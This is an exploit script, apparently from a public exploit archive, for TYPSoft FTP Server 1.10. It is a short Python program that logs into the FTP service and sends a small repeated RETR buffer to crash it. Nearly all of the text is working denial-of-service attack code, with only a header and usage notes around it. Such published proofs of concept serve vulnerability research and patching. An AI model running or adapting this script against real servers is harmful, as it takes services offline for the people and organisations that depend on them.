TYPSoft 1.0 RETR Denial Of Service

`# Exploit Title: TYPSoft FTP Server 1.10 RETR Command DoS  
# Date: 5/13/2010  
# Author: Jeremiah Talamantes (RedTeam Security)  
# Software Link: http://sourceforge.net/projects/ftpserv/  
# Version: 1.10  
# Tested on: Windows XP, SP2 (EN)  
  
# DESCRIPTION:  
# This script exploits a weakness in the RETR command in TYPSoft v1.10  
# It requires only a small buffer that is executed in succession within  
# the same socket connection.   
  
#!/usr/bin/python  
print "\n#################################################################"  
print "## RedTeam Security ##"  
print "## TYPSoft FTP Server v1.10 RETR Command DoS ##"  
print "## ##"  
print "## Jeremiah Talamantes ##"  
print "## [email protected] ##"  
print "################################################################# \n"  
  
import socket  
import sys  
  
# Define the exploit's usage  
def Usage():  
print ("Usage: scriptname.py <IP address> <username> <password>\n")  
print ("\n\nCredit: Jeremiah Talamantes")  
print ("RedTeam Security : www.redteamsecure.com/labs\n")  
  
# Buffer settings  
# This works with a relatively small buffer  
buffer= "A" * 30  
  
def start(hostname, username, password):  
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
try:  
sock.connect((hostname, 21))  
except:  
print ("Error: unable to connect to host")  
sys.exit(1)  
r=sock.recv(1024)  
print "[+] " + r  
#Send username to server  
sock.send("USER %s\r\n" %username)  
r=sock.recv(1024)  
# Send password to server  
sock.send("PASS %s\r\n" %password)  
r=sock.recv(1024)  
print "Sending the malicious chars..."  
# Send data to server  
sock.send("RETR %s\r\n" %buffer)  
  
# Repeat to overflow  
sock.send("USER %s\r\n" %username)  
r=sock.recv(1024)  
sock.send("PASS %s\r\n" %password)  
r=sock.recv(1024)  
sock.send("RETR %s\r\n" %buffer)  
sock.close()  
  
if len(sys.argv) <> 4:  
Usage()  
sys.exit(1)  
else:  
hostname=sys.argv[1]  
username=sys.argv[2]  
password=sys.argv[3]  
start(hostname,username,password)  
sys.exit(0)  
  
# end  
`